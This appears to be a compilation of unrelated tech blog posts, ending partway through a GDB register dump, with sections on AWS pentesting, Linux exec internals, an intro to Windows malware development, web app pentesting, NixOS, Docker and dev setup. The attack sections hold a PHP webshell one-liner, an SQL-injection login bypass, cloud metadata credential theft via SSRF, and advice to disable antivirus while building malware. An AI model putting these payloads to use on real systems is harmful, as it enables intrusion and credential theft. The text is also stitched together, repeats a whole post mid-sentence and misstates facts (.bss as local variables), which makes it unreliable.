Now plug in your second flash drive containing the drivers, click “browse”, and then recurse through the files of that flash drive until you reach the “VMD” folder inside the driver files (that’s for Intel’s case at least). Select it, load and you’ll be able to see the drives now! Continue with your installation, and you should smoothly be able to setup Windows 10 from scratch now. (Also, please update your system clock and install Windows Updates to make sure you get the required firmware, security patches and other drivers)

Before we talk about the services, we need to talk about how authentication is done. One method is through AWS’s own GUI dashboard where you can either login as an IAM user or a root user (basically the dude with admin privileges). This does require stuff like IAM user ID, email, passwords, etc.

Whereas when we are dealing with the AWS CLI it is much simpler, we have an Access key ID, Security token for long-term access and an additional session token for short term access.

IAM

Very similar to Linux, users are nothing but profiles made for individuals, more on that as we progress through this article. IAM stands for Identity and Access Management (which is obviously managing people and authorisation in simple terms). Groups on the other hand is a collective of users with defined persmissions. Most entities in IAM relate to grouping of entities and assigning sets of permissions. When it’s short-term, we use IAM roles to allocate perms to these users. When we need temporary roles, we use Assumed Roles. Now how do we define permissions? We got policies. It’s basically a JSON file that defines a blueprint of all the permissions you need to allocate to an entity what services and to what extent that entity can access things…

example policy for full access to an AWS S3 bucket…

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:*",
            "Resource": "*"
        }
    ]
}

Vulnerabilities

Vulnerabilities in AWS based sites often start with open S3 buckets (which are persistent data storages often for anybody to access). You can get a list open S3 buckets through various tools online.

Now, we need to search for how to get access to the buckets, it can be through SSRF where we can employ various tactics like os command injection, open redirects, etc. Usually the credentials are stored in the http://169.254.169.254/latest/meta-data path whose IP address comes from the reserved IPv4 Link Local Address space which can only be accessed from within that instance’s network.

Enumeration through LLMs

Now, once we get the credentials it’s time to authenticate and then view all sorts of IAM users, roles, policies. I’m lazy so I like to form complex queries through LLMs like ChatGPT.

It is possible to look for privilege escalation chances through the pacu tool. But since the enumerative functions of pacu take too long, sometimes it’s better to manually explore what’s out there through the AWS cli and some Google Dorking.

Syscalling for execution

the exec system call has many types (as shown in the diagram) but here, we’ll be discussing a summarized overview of how these work. Basically we dealing with executing binaries or scripts through the Linux kernel here through exec and its similar syscalls. But before we understand how such syscalls are defined in Linux source code, we need to understand one thing: pointers

pointers are variables that point to or store the memory address of another variable. Hence they “point to” the data of that variable.

Here’s an example of execve definition:

SYSCALL_DEFINE3(execve,
const char __user *, filename,
const char __user *const __user *, argv,
const char __user *const __user *, envp)
{
return do_execve(getname(filename), argv, envp);
}

This is a 3 argument definition, now why i mentioned pointers before is crucial to understanding the arguments. const char __user *const __user * means we are defining a pointer in kernel space that points to a constant valued pointer defined in user space that points to a character in user space. argv is the array of arguments and similarly envp is the array of environment variables (like PATH)

Binary format handlers and linux_binprm struct

When we are loading the executable, a struct (or user-defined data structure that can store multiple basic data types) called linux_binprm is created to store the metadata about that executable, like argument and env variable counts, filename, and then a buffer that will store (presently) the heading 256 bits of that file for identification of the binary format.

To identify the binary format, we have pointers known as binary format handlers, these are defined in files under the fs directory in the kernel source tree, and we iterate through these binfmt handlers to check which one matches the information in linux_binprm

Kernel modules

Kernel mods are extensible chunks of code that can add to an existing kernel’s features. We can add our own binfmt handlers through kernel modules.

Fancy things aside, here’s a diagram of files, libraries in the Linux source tree that determine what does what when it comes to dealing with executables.

Security, Security, SECURITY!!!

We have a few security checks in the entire process before and after loading the executable.

https://nvd.nist.gov/vuln/detail/CVE-2009-0029

Magical ELFs

ELFs stand for Executable and Linkable formats, they are one of the most common executables in Linux.

Some parts:

• ELF Header: contains metadata about entry point, instruction-set, dynamic/static linking instructions, etc.

• Program Header Table/Segments table: how to load and execute during runtime.

• Section Header: contains info about sections of the PE (portable executable) for better debugging and organisation

The program header tables contains a series of entries with header types, here are the common ones:

• PT_LOAD: Data info to be loaded

• PT_NOTE: Metadata (copyright, version)

• PT_DYNAMIC: dynamic linking info

• PT_INTERP: ELF interpreter path

Let’s talk about the parts mentioned in the Section Header:

1. .text: the .text section typically contains the executable code of the program. It is where the compiled instructions reside, and this section is loaded into memory during program execution.

2. .data: global variables, static variables

3. .bss: local variables

4. .rodata: read-only globals

Static Vs. Dynamic Linking

Dynamic Linking and DLLs

On Linux, libraries that are used for Dynamic Linking are saved as .so (shared object) files. Whereas on Windows, we call them .dll (dynamic link libraries)

When executing, the OS figures out what libraries are needed by going through the ELF Header and Program Header Table. If the program is dynamically linked, we need to deal with another program called the “ELF interpreter”. When loaded, the kernel pushes arguments and env variables into a process stack and sets a pointer to the start of executable code then the syscall is made. Registers are cleared, Kernel stores current register values to another stack before the syscall though. After the syscall, the kernel returns to user space and restores the register values from that stack and jumps to the stored instruction pointer in userspace. NOW, the ELF interpreter is executed and current process is replaced. Everything cycles for this one as well.

Welcome, fellow developers and researchers, to the realm of efficient resource management powered by SLURM! 🌟 If you've ever found yourself lost amidst the labyrinth of job steps and Python environment management, fret not! Today, I'm thrilled to be your guide as we demystify the process of setting up Miniconda on your SLURM cluster. 🐍🔧 With Miniconda at your disposal, you'll wield the ability to effortlessly create and manage tailored virtual environments, perfectly suited for your machine learning endeavors. Gone are the days of sweating over configuration complexities; let's streamline your workflow and unlock the true potential of your SLURM cluster.

Ready to embark on this journey? Let's dive in and empower your development experience like never before!

• Step 1: Download the Miniconda installation script using the command:

    curl -O https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh
  

• Step 2: Make the script executable:

    chmod +x Miniconda3-latest-Linux-x86_64.sh
  

• Step 3: Run the installation script and follow the prompts:

    ./Miniconda3-latest-Linux-x86_64.sh
  

• Step 4: Add Miniconda to your PATH by updating your .bashrc file:

    echo 'PATH="/path/to/miniconda3/bin:$PATH"' >> ~/.bashrc
  

  The path will be specific to your system configuration. Replace /path/to/miniconda3/bin with the actual path to the Miniconda3 bin directory on your machine.

• Step 5: Activate the changes:

    source ~/.bashrc
  

  Now that Miniconda is up and running, let's initialize conda and get ready to supercharge our development workflow! 🎉

• Now you need to type the following command to activate the conda in you system :

    conda init
  

  After running the above command, please close the terminal and reopen a new one. Then, you'll be ready to use conda.

🎉 Congratulations! You're Ready to Roll

With Miniconda in place, you have the power to create tailored virtual environments for each of your machine learning projects. This flexibility ensures optimal performance and reproducibility in your workflows. Happy coding! 💻✨

Additional Tips :

• Create Environments: Use conda create --name myenv to create a new environment.

• Activate Environment: Activate an environment with conda activate myenv.

• Install Packages: Install packages with conda install package_name.

• List Environments: List all environments with conda env list.

Explore the vast ecosystem of libraries and tools available through Miniconda to supercharge your development workflow.

You need a pretty solid rig for development and testing across different platforms. Also, you will need heavyweight development tools (which will be mentioned later on). Anyways, here are some recommended specifications for a system for malware development:

• Least 16GBs of DDR4/5 RAM

• Least 6 core CPU with 10+ threads

• 1TB/512GB SSD/HDD (SSD preferred tho)

• Good cooling system

Ideally, a gaming laptop or rig would help you achieve this, or you can simply use cloud VMs on Linode to prepare a lab.

Here are the tools that you may require for the lab:

• Visual Studio 20xx (community/professional)

• Oracle Virtualbox/VMware workstation player

• Kali Linux

• Windows 10/11

• Process Hacker

• x64dbg

Fundamentals

Firstly you should be knowing that malware is usually made for windows-based systems. So we will be focusing on developing malware that is meant to work with windows. For that we need to know how to manipulate things like threads and processes in windows. A great place to start would be the Win32 API. This helps you program windows to do certain tasks, from both high and low level perspectives.

Also, make sure you are familiar with:

• windows-fundamentals (also would REALLY help if you've ever used windows in your life before).

• C language and bit of assembly

• metasploit-framework

• virtualization (coz we ain't detonating malware on our own computer)

The best way to learn something is by trying it out first then going deeper theory wise. That being said, let's build malware... (Oh and btw,don't forget to turn off all AVs while building or running it)

The Windows API

Understanding the Windows API is crucial since a lot of malware is written in it. It exploits the NT API which is an undocumented API of windows.

Usually the functions obey the convention of <data-type><function name>, you can notice the trend in the list given below. Also, the function names themselves are pretty self explanatory.

Here's a list of stuff you need to remember:

DWORD = int32
SIZE_T = SIZEOF(object)
VOID = VOID
PVOID = Pointer to 32-bit variable
HANDLE = variable for object
HMODULE = handle for module 
PCSTR = constant character pointer
PSTR = chartacter pointer
PHANDLE = Handle pointer
CreateFileA = Create a file (ANSI)
CreateFileW = Create a file (Unicode)

Process Injection (Shellcode based)

Shellcode is compiled code written in machine language, that in malware language attempts to make itself run on the system by activities like injecting it into a process.

We can write our own shellcode by compiling our C code. Or we can let tools like msfvenom do the job.

Here's how process injection works in layman terms. We grab a process that's already running, then proceed to capture its process ID (which makes it unique). Now, under the same process ID, we allocate part of the memory. Then we inject shellcode into it. Then, we run it through starting a thread (consider a thread like a candle wick which lights up when started)

So, while the original process is running, our shellcode runs along with it in the background.

if you want to check out an example on shellcode injection, see my repo RootBlast

Problems with writing malware

• It's difficult to find resources, mostly it'll be blogs and articles because mainstream platforms ban such content

• You need to study a LOT about OS related stuff, especially windows

• You may get arrested (Ok, that's a joke, unless you're not careful)

• AV/EDRs are constantly evolving so reading about how to make your malware undetectable is a must

On the next issue

I'll talk about some more types of malware and also AV/EDR evasion techniques. Thank you for reading.

Resources

• https://www.crow.rip/crows-nest/mal/dev/getting-started

• https://github.com/r3p3r/nixawk-awesome-windows-exploitation

• https://scholar.google.com/

WAPT in a nutshell

WAPT is nothing but looking for faults in the backend system of the application and then exploiting it. We use several tools like fuzzers, proxies and vulnerability scanners for this (I'll get into that later).

Tools for WAPT

Fuzzers

Fuzzers are applications that can send the same request repetitively with minor edits. The edits are taken from an existing wordlist. Let's say we have a URL:

https://website.com/

Now we need to find the various API endpoints for this. So we will use a fuzzer to send requests with various edits to the website URL and hope for a success return code. (Here are the HTTP return codes for reference)

HTTP Return codes (Signals of API responses)

• 2xx - Success

• 3xx - Redirection

• 4xx - Client side error

• 5xx - Server side error

the fuzzer will use a wordlist that may be something like this:

v2
swagger
control-panel
...

Now the requests being sent will look like this

GET https://website.com/api/v2 [RETURN CODE 403]
GET https://website.com/api/swagger [RETURN CODE 403]
#this one exists!
GET https://website.com/api/control-panel [RETURN CODE 200]

...

Common examples of Fuzzers include Ffuf, Burp intruder and GoBuster (which is specialised for directory enumeration)

Proxies

Proxies are tools that sit in the middle of the website and the user's browser. They capture the HTTP history of communication between the user and the website.

A common example of the proxy tool is Burp-Suite, the gold standard for WAPT.

Vulnerability scanners

These tools assess the website for possible vulnerabilities and can generate things like phishing websites or SQL syntax to exploit it. Common tools are Metasploit (gold standard), XSRFProbe (For CSRF-based exploits), SQLMap (For SQLi based exploits)

Dealing with internal APIs

Internal APIs deal with requests and responses sent between the website and the web-server.

API Recon

The aim is to find as many endpoints as possible. This is an intermediate stage before exploitation. There various types of HTTP requests, here's a list of common ones:

• GET -> Ask the webserver for a resource

• POST -> Add new data

• PATCH/PUT -> Change existing data

• OPTIONS -> Options for types of requests allowed

Through sending requests, we can explore these from the responses:

• Parameters (Hidden ones too)

• Type of content accepted

• Type of request accepted

Types of vulnerabilities

File upload and webshell attacks

Sometimes the file upload part of the website can be used to upload malicious scripts onto the web server and executed.

This can be exploited if there is no Content-Type header restriction on the API request, meaning the website does not check if the uploaded file is an image (as intended) or a PHP script.

When we are dealing with things like this, the most common types of attacks are webshell attacks. In which shell commands can be executed in the web server using languages like PHP.

Here's an example command:

<?php echo passthru($_GET['cmd']); ?>

Continued: Flawed file type validation

To counter this, website creators do add the content-type header. But what the request can be edited before it is send? We can capture the outgoing request through burp, and change the content-type restriction from the outgoing script to setting it as an "image"

Server Side Request Forgery

Server Side Request Forgery (SSRF) is a technique where requests sent by the website to the web-server are edited to gain access to sensitive info (usually).

2FA bypass

This is usually a rare case but sometimes the user is already logged in during login before they enter their MFA code.

Privilege escalation

In this technique we check if we can access other user's profiles through ours. We make our way into the admin dashboard through this technique. We can achieve this by editing the search query in the URL or editing the parameters in the requests.

We can also explore through the source code (usually JS) too look for clues for api endpoints to the admin panel

like this:

https://website.com/login/home?admin=false
#now set this to true
https://website.com/login/home?admin=true

Sometimes we may also find these parameters (like admin) in the HTTP history when exploring through the responses.

SQL injection

Structured Query Language is a language used to query and manipulate databases with ease. However when integrated into web-servers, we can forge SQL commands that can be put into search boxes to send an SQL command through the internal API to the web-server and return the query result instead of a normal one.

Here's an example, if we have a login page requiring username and password and the user account existence is checked by this command in the web-server:

SELECT * FROM USERS WHERE username="superman" AND password="m4sterh4xx0r";

Then if it exists, the website logs the user in. We can exploit it.

We can input an SQL statement in the strings and edit the query sent through the internal API

SELECT * FROM USERS WHERE username="superman"--" AND password="m4sterh4xx0r";

here, we have input "-- into the username string where " closes the string and -- comments out the rest of the query, so the password check is simply ignored and lets us in.

However, for an SQLi to be successful, we need to be vary of the technology of SQL the web-server is using, its version and the columns which accept string input (also the table name sometimes). Usually websites tend to use MySQL, MariaDB, PostgreSQL or Oracle Database

Cross-site request forgery

This technique is usually related to using the user's existing session to change their credentials and login.

The most common application of CSRF is related (but not entirely encompassing) to phishing.

A user's login session (also the time span the website thinks that the user is logged in) is determined by a session cookie. It is a token. However if a hacker manages to get hold of it, they can send requests with the user's session cookie to change their credentials and login as the user (because the website thinks the hacker is the user, by looking at the session cookie!).

There are thankfully, safeguards to this:

• Additional csrf token parameter whose value is randomly generated every session

• Measures to make sure that the generated CSRF token is tied to only that particular user's session

If either of these is absent, it becomes easy for the hacker to attempt a CSRF attack.

References:

• https://github.com/JohnTroony/php-webshells

• https://portswigger.net/web-security

• https://portswigger.net/burp

• https://github.com/ffuf/ffuf

• https://www.metasploit.com/

• https://github.com/0xInfection/XSRFProbe

• https://excalidraw.com/

Declarative

Let's start with the first attribute, NixOS's declarative configuration makes it easy to write configurations for the various components in our operating system in an easy-to-understand language called "Nix". Nix is very similar to JSON syntax wise.
For declaring NixOS config, we write a file called configuration.nix which is stored in /etc/nixos/

{
  imports =
    [ # Include the results of the hardware scan.
      ./hardware-configuration.nix

    ];

  # Bootloader.
  boot.loader.systemd-boot.enable = true;
  boot.loader.efi.canTouchEfiVariables = true;

  networking.hostName = "endernix"; # Define your hostname...
  # Enable networking
  networking.networkmanager.enable = true;

  # Enable docker
  virtualisation.docker.enable = true;

  # Enable bluetooth
  hardware.bluetooth.enable = true;
  hardware.bluetooth.powerOnBoot = true;
...
}

The comments above each line or chunk of code describe their functionality. For example, the Bluetooth chunk describes that when re-building the system again, it needs to enable and start the bluetooth service on boot. We'll get into rebuilds later on, but how do we install packages? Easy. we declare it in the same file.

{ ...
users.users.ifkash = {
    isNormalUser = true;
    description = "Kashif";
    extraGroups = [ "networkmanager" "wheel" "docker" ];
    packages = with pkgs; [
      # Browsers
      brave
      firefox
      google-chrome
      # Fetch tools
      neofetch
      sysfetch
      nitch
    ];
};

...
}

Now these blocks can be placed anywhere in the file, because Nix is a purely functional programming language, which in layman's terms mean that positions of definitions does not matter sequentially.

Reproducibility

Once our system's file has been configured, it's time to build/modify our system. Running sudo nixos-rebuild switch will read the entire configuration file and build a new Nix system accordingly. Now comes the question, would it take nearly double the size of the previous version if i simply include small packages in the new rebuild? The answer is No.

/nix/store

Nix store is a location where Nix system stores all the names of the packages in the form of files with their dependency list hashed and attached to the file name. This way, whenever the system is rebuilt, if it is available in nix store, it is simply ignored. If not, a new file is created in nix store and added with appropriate rules.

We can also go back to our previous build with `nixos-rebuild --rollback switch

Rollbacks - Never break your system again

Hence, incase our new system breaks for some reason, we can always switch back to the previous version and get our work done. This feature gives it the deadly advantage against distros like Arch Linux.

Immutability

Since the system is defined declaratively, it's not possible to modify the system's existing state (like updating/upgrading packages, etc) This is not a bug, but a feature. It enables further safety against breaking our systems. This also means we cannot install additional things into the system in the current rebuild. It also makes the system more secure against attacks that intend to change ownership permissions or corrupt the boot files of the system.

The Nix package manager

The Nix package manager fetches from the Nix package repository, one of the largest repos among all operating systems, it even beats Arch's user repository well known for its enormous package support. Hence, Nix boasts better software support than most operating systems on the planet.

You can search your favorite packages here: https://search.nixos.org/packages

Why use NixOS as a daily driver?

Apart from excellent software support, and all its other features. NixOS doesn't feel different from other Linux distros at all on the surface level. There's that feel-at-home and works-out-of-the-box feeling. Now that NixOS's installation ISO comes with the graphical calamares installer, it makes installing it even easier.

Acknowledgements

• https://nixos.org/

• https://github.com/kashifulhaque/nixos-config

• https://ianthehenry.com/posts/how-to-learn-nix/

• https://www.youtube.com/@vimjoyer

Arch Wiki

The ultimate manual for anything arch-related. The arch wiki and arch forums have everything you need regarding any issue you're facing or any mods you want to do to arch. Let's say you want to install gnome on your Arch that runs KDE-Plasma but don't exactly know how to do it. Just put in your issue with the suffix "arch wiki" in google.

The instructions rarely get outdated as the wiki is regularly updated with the latest information by the community (which is public and open). Some times the solutions proposed in arch wiki pages even work on non-arch based distributions if it is not a distro-specific problem.

Arch User Repository (AUR)

Apart from The community maintained registry for arch linux packages. It is ginormous in terms of variety of packages. You can install almost any package from the AUR, be it Spotify, Discord or even Google-Chrome!

AUR helpers

Installing a package from the AUR, requires you to clone the repo and give the build command makepkg -si so that the system reads the MAKEPKG file.

MAKEPKG acts as a blueprint for building the package and adding it to system PATH.

However, AUR helpers assist in automating the build process. There are several apps like yay and paru.

Minimalism

Arch Linux provides us with the power to start from a minimal installation, which means that we decide what goes into our system, including even the kernel!

This helps avoid bloatware and enable for a lightning-fast system. Especially for developers when they combine their workflow with the clax.nvim neovim configuration.

Self-development

Not only do we learn about partitioning, and different kinds of file systems, keymapping, audio servers and daemons, but also does installing arch help build a basic overview knowledge of foundations of an operating system.

Bleeding-edge updates

This is also a double-edged sword, bleeding-edge updates means that all of the system's packages are updated to the very latest version. If neovim's version on Debian is 0.6.1, it is 0.9.1 on Arch linux. But it also means that despite supporting newer technologies like lua configs in neovim, software and hence system may risk breaking due to the packages being too new and not being compatible with things like hardware.

Maintenance is also needed in Arch Linux, so we need to regularly make sure the system is updated. This is not an issue because it helps us stay more conscious of our system's workings.

Security Implementations

In an era where digital threats are constantly evolving, prioritizing the security of your system is paramount. This blog will delve into various aspects of enhancing security, covering essential topics such as drive encryption, file systems, firewalls, and secure boot. By incorporating robust security measures, you can significantly reduce the risk of unauthorized access, data breaches, and other potential threats.

Drive Encryption withcryptsetup:

Drive encryption is a fundamental step towards securing your data. The use of cryptsetup, a utility for setting up encrypted filesystems, ensures that even if someone gains physical access to your storage device, they won't be able to access sensitive information without the encryption key.

To implement drive encryption with cryptsetup, follow these steps:

• Install cryptsetup on your system.

• Use the cryptsetup command to create an encrypted container or encrypt an existing partition.

• Set up a strong passphrase or keyfile for added security.

UnderstandingbtrfsFile System:

The choice of a file system plays a crucial role in system security. The Btrfs (B-Tree File System) is a modern and feature-rich file system that offers advantages over traditional ones like ext4. btrfs provides improved data integrity, efficient snapshots, and support for advanced storage technologies.

Compare btrfs with ext4:

• btrfs supports advanced features like snapshots, copy-on-write, and checksums.

• ext4 is a mature and stable file system with a long history of reliability.

• Consider your specific use case and requirements before choosing between btrfs and ext4.

Configuring ufw Firewall:

A firewall is a critical component in safeguarding your system from network threats. Uncomplicated Firewall (ufw) is a user-friendly interface for managing iptables, the default Linux firewall. By enabling ufw, you can control incoming and outgoing traffic, thereby fortifying your system against potential attacks.

To set up ufw:

• Install ufw on your system.

• Define rules for allowing or blocking specific traffic.

• Enable ufw to start on system boot for continuous protection.

Secure Boot withsbctl:

Secure Boot is a security feature that ensures the integrity of the boot process, preventing the loading of unauthorized or tampered code during system startup. sbctl is a tool for managing Secure Boot settings on Linux systems.

To enable Secure Boot with sbctl:

• Check if your system supports Secure Boot.

• Put Secure boot in setup mode by deleting all secure boot variables.

• Generate and enroll Secure Boot keys.

• Use sbctl to configure and enable Secure Boot.

In today's digital landscape, prioritizing security is non-negotiable. By implementing robust measures such as drive encryption, choosing advanced file systems like Btrfs, configuring firewalls, and enabling Secure Boot, you significantly enhance the protection of your system. RIn an era where digital threats are constantly evolving, prioritizing the security of your system is paramount. This blog will delve into various aspects of enhancing security, covering essential topics such as drive encryption, file systems, firewalls, and secure boot. By incorporating robust security measures, you can significantly reduce the risk of unauthorized access, data breaches, and other potential threats.

Drive Encryption withcryptsetup:

Drive encryption is a fundamental step towards securing your data. The use of cryptsetup, a utility for setting up encrypted filesystems, ensures that even if someone gains physical access to your storage device, they won't be able to access sensitive information without the encryption key.

To implement drive encryption with cryptsetup, follow these steps:

• Install cryptsetup on your system.

• Use the cryptsetup command to create an encrypted container or encrypt an existing partition.

• Set up a strong passphrase or keyfile for added security.

UnderstandingbtrfsFile System:

The choice of a file system plays a crucial role in system security. The Btrfs (B-Tree File System) is a modern and feature-rich file system that offers advantages over traditional ones like ext4. btrfs provides improved data integrity, efficient snapshots, and support for advanced storage technologies.

Compare btrfs with ext4:

• btrfs supports advanced features like snapshots, copy-on-write, and checksums.

• ext4 is a mature and stable file system with a long history of reliability.

• Consider your specific use case and requirements before choosing between btrfs and ext4.

Configuring ufw Firewall:

A firewall is a critical component in safeguarding your system from network threats. Uncomplicated Firewall (ufw) is a user-friendly interface for managing iptables, the default Linux firewall. By enabling ufw, you can control incoming and outgoing traffic, thereby fortifying your system against potential attacks.

To set up ufw:

• Install ufw on your system.

• Define rules for allowing or blocking specific traffic.

• Enable ufw to start on system boot for continuous protection.

Secure Boot withsbctl:

Secure Boot is a security feature that ensures the integrity of the boot process, preventing the loading of unauthorized or tampered code during system startup. sbctl is a tool for managing Secure Boot settings on Linux systems.

To enable Secure Boot with sbctl:

• Check if your system supports Secure Boot.

• Put Secure boot in setup mode by deleting all secure boot variables.

• Generate and enroll Secure Boot keys.

• Use sbctl to configure and enable Secure Boot.

In today's digital landscape, prioritizing security is non-negotiable. By implementing robust measures such as drive encryption, choosing advanced file systems like Btrfs, configuring firewalls, and enabling Secure Boot, you significantly enhance the protection of your system. Regularly updating and auditing these security measures will ensure that your defenses remain strong against evolving threats.

Documentations

• https://docs.kernel.org/filesystems/btrfs.html

• https://wiki.archlinux.org/title/dm-crypt/Device_encryption

• https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot

• https://docs.kernel.org/filesystems/btrfs.html

• https://wiki.archlinux.org/title/dm-crypt/Device_encryption

• https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot

Virtual Machines

Virtual Machines are specialized environments that emulate a computer operating system. They can be further specialized to deploy particular software. Let's think of running an OS like Linux, but over the host system running Windows. Here, Linux will be treated as a "Guest OS" and will be running atop Windows as an Application.

Virtual machines are governed by a type of software called a "Hypervisor", these can control their deployment.

Hypervisors also enable us to distribute hardware resources among virtual machines according to preference. If we have a 128GB RAM server and a lot of clients that want to access it, we would split the hardware resource among several virtual machines, so that each client gets their own isolated space and OS to run with a particular quantity of machine resources (like CPU and memory) allotted to them.

What can be improved

An Operating system in general consists of two stacked layers over the hardware.

Going from top to bottom, we first encounter the OS Applications layer, which consists of all the software run on the machine.

Secondly, we get the OS kernel, the layer that deals with communication with hardware resources, and acts as a bridge between the hardware and the OS Applications layer.

A virtual machine emulates both the OS kernel and the applications layer stacked in the mentioned order. This results in excessive use of resources, however there is a solution to this. We can use the host's kernel instead of having multiple kernels run altogether.

Enter: Containers

With the added advantage of using the host's kernel, Containers save on resources and boost up speed. Docker is used specifically because it's one of the most popular tools and also the one that revolutionized this category, also its registry, Docker-Hub is one of the largest repositories for pulling dependencies for your project.

We have a container engine that manages these containers or isolated environments, Just like a hypervisor.

Spinning up a new container

Docker can be installed through the official set of instructions on their site.

It uses the Docker engine which the docker daemon responsible for all processes concerning it.

There are two options, one is to either pull an existing container through Docker's registry called Docker Hub. Secondly is to build custom images to suit our project's needs.

Using existing images

To clone a docker container off Docker Hub,

docker pull <image_name>:<version>

We can then start this container by getting the image ID through the docker images command.

docker start <image_ID>

Building a custom image

In order to build a custom image, a blueprint file called a Dockerfile needs to be added to the project directory. This will contain all the configuration code, regarding what dependency versions and base image (which is the OS image that will be emulated) will be included in the container.

A typical Dockerfile would look somewhat similar to the one below.

FROM <primary_service>:<base_image>
COPY <source code directory> /app/
WORKDIR <the working directory>
RUN <any terminal commands>

Now that the blueprint is made, time to build and deploy a docker container with the following configuration.

docker build <location_to_save_container>

This builds the docker container following the blueprint, now this can be uploaded to Docker Hub or any repository to ship it to other environments and servers.

Week 2 Extra: Docker Vs. Podman

Podman is a popular alternative to Docker and possibly is aiming to succeed it. It has now been adopted to be used in container orchestration tools like Kubernetes.

The Advantage

• Podman optionally requires root/admin privileges to build/run containers. Which makes it safer for the deployment system.

• Unlike Docker which uses a daemon (background service) that constantly listens for new requests using the client-server architecture. Podman's philosophy has a daemon-less architecture and hence saves up on system resources.

• Mostly all docker commands work with Podman with the replacement of the word "docker" with "podman" (at least as far as the CLI is concerned).

• Podman isn't a monolithic piece of software unlike Docker. It depends on software like systemd. Hence it is more lightweight.

In summary, Podman is overall a safer alternative than Docker.

Some Extra Reads:

• https://www.imaginarycloud.com/blog/podman-vs-docker/

• https://berzi.hashnode.dev/containers-and-virtualization-with-docker

• https://docs.podman.io/en/latest/

• https://www.vmware.com/in/topics/glossary/content/virtual-machine.html

What is Clax.nvim?

Clax.nvim is not just another Neovim configuration; it's a distribution tailored for performance and ease of use. Named in homage to a friend (in a humorous attempt to convince them to install Arch Linux), Clax.nvim aims to be a lightweight and user-friendly choice for Neovim users. Let's explore what makes Clax.nvim stand out.

Features:

1. Blazing Speed:

Clax.nvim is optimized for speed, ensuring a snappy and responsive editing environment, even when dealing with large codebases. Experience the joy of efficient coding without any compromise on performance.

2. Lightweight Design:

Say goodbye to unnecessary bloat! Clax.nvim keeps things minimal, providing a streamlined setup that offers both performance and simplicity. Enjoy the power of Neovim without the baggage.

3. User-Friendly Interface:

Designed with beginners in mind, Clax.nvim offers an intuitive configuration that's easy to understand and use right out of the box. Whether you're a coding veteran or a novice, Clax.nvim adapts to your workflow.

4. Customizable:

Tailor your Neovim experience to your preferences with extensive customization options. Whether you're a minimalist or a power user, Clax.nvim allows you to shape your coding environment to suit your needs.

5. Packer.nvim Integration:

Effortlessly manage plugins with Packer.nvim, ensuring a clean and organized configuration that's easy to maintain. Clax.nvim leverages the power of Packer.nvim for efficient plugin management.

Installation:

Getting started with Clax.nvim is a breeze. Follow these simple steps to set up your Neovim environment:

1. Clone Packer.nvim and Source Files:

    mkdir ~/.config/nvim
   
    git clone --depth 1 https://github.com/wbthomason/packer.nvim \
    ~/.local/share/nvim/site/pack/packer/start/packer.nvim
   
    git clone -b dev --depth 1 https://github.com/spirizeon/clax.nvim
   

2. Install Packer Modules:

    cd clax.nvim
    cp init.lua ~/.config/nvim/
    nvim +PackerInstall # Press [ENTER] at any prompts
   

3. Set the Custom Theme and Update the Config:

    cp clax.lua ~/.local/share/nvim/site/pack/packer/start/startup.nvim/lua/startup/themes/
   

4. Install Treesitter Modules:

    nvim # Open Neovim to install treesitter modules
    nvim +PackerSync # Press [ENTER] at any prompts
   

5. Exit and Restart Neovim:

    nvim
   

Now you're ready to enjoy the speed and features of Clax.nvim!

Configuration:

Explore the init.lua file to customize keybindings, plugins, and other settings to suit your workflow. The Packer.nvim integration provides a clean and organized way to manage your plugins. Take your time to fine-tune Clax.nvim to your liking.

Usage and Keymaps:

Clax.nvim comes with pre-configured keymaps for popular plugins. Here are some keybindings to enhance your Neovim experience:

• <leader>ff: Open Telescope and find files.

• <leader>lg: Use Telescope to perform a live grep.

• <leader>fb: Switch between open buffers with Telescope.

• <leader>of: Access and navigate old files with Telescope.

• <leader>nf: Create a new file with a single command.

Feel free to explore more keymaps and commands in the configuration to make the most out of Clax.nvim.

Uninstall:

If you ever decide to part ways with Clax.nvim, uninstalling is a breeze. Simply run the following command:

rm -rf ~/.config/nvim ~/.local/share/nvim

Contribute:

We welcome contributions from the Neovim community! Whether it's bug fixes, new features, or optimizations, feel free to open issues and pull requests on our GitHub repository.

Join our growing community and help make Clax.nvim even better!

Happy coding! 🚀

This part of the setup is only for the general installation 
without any errors.

• First you need to visit this VoltaJs to install node from it (I am suggesting VoltaJs because its a good version control for node versions. )

  OR

  You can follow these commands to install VoltaJs and then Node

    # install Volta
    curl https://get.volta.sh | bash
  
    #To execute the paths in Bashrc
    source ~/.bashrc
  
    # install Node
    volta install node
  
    # Check the Version of node
    node --version
  

• Then after the installation of node you need to install the sdk man from this website SDKman to install JAVA from it (I am suggesting SDKman because its a good version control for java versions.)

  OR

    # To install SDKman in your system
    curl -s "https://get.sdkman.io" | bash
  
    # To execute the paths in Bashrc
    source ~/.bashrc
  
    # To check the versions of JAVA 
    sdk list java
  
    # To install the JAVA version 17.0.9(recommended stabel)
    sdk install java 17.0.9-ms
  

• After the installation of JAVA you need to install Android Studio you can either install it from Android Studio

• After the installation of Android Studio you need to install all the sdk tools as indicated in the following images (ticked one's only)

• After the installation of the following tools now you need to add the path of Android Studio and its Sdk files into your ~/.bashrc copy the following path into your ~/.bashrc

    export ANDROID_HOME=$HOME/Android/Sdk
    export PATH=$PATH:$ANDROID_HOME/emulator
    export PATH=$PATH:$ANDROID_HOME/platform-tools
  

• After adding the path and full installation of node and java you can now create a react-native project by typing the following command .

    #Before writting this command you need get into the 
    #directory of your liking and then use the following command
    npx react-native@latest init AwesomeProject
  

• Now you need to open Android Studio with the {Folder you created with the command present above} and select android folder from the folder like its shown in the image below and then click on the OK and then let the Android Studio build the Gradel (Gradel build will take some time be patient).

  

• After the Gradel build it will take time to set the Indexing don't close the Android Studio just after Gradel Build or the app may crash if you do so .

Your setup for react-native has been done for Debian based Distros

Now you can simply get into your directory and type

# Please use this command only after getting into ypur project directory and it must conatine a file named with package.json
 npm start

Enjoy!!!

Registers is a small amount of fast storage element into the processor. It is faster than cache memory due to the smaller size and proximity with the CPU itself.

We will use the GDB or GNU Debugger for demonstration purposes here.

(gdb) info registers
rax            0x0          0
rbx            0x7fffffffe3c8      140737488348104
rcx            0x7ffff7f9a680      140737353721472
rdx            0x7fffffffe3d8      140737488348120
rsi            0x7fffffffe3c8      140737488348104
rdi            0x1                 1
rbp            0x7fffffffe2b0      0x7fffffffe2b0
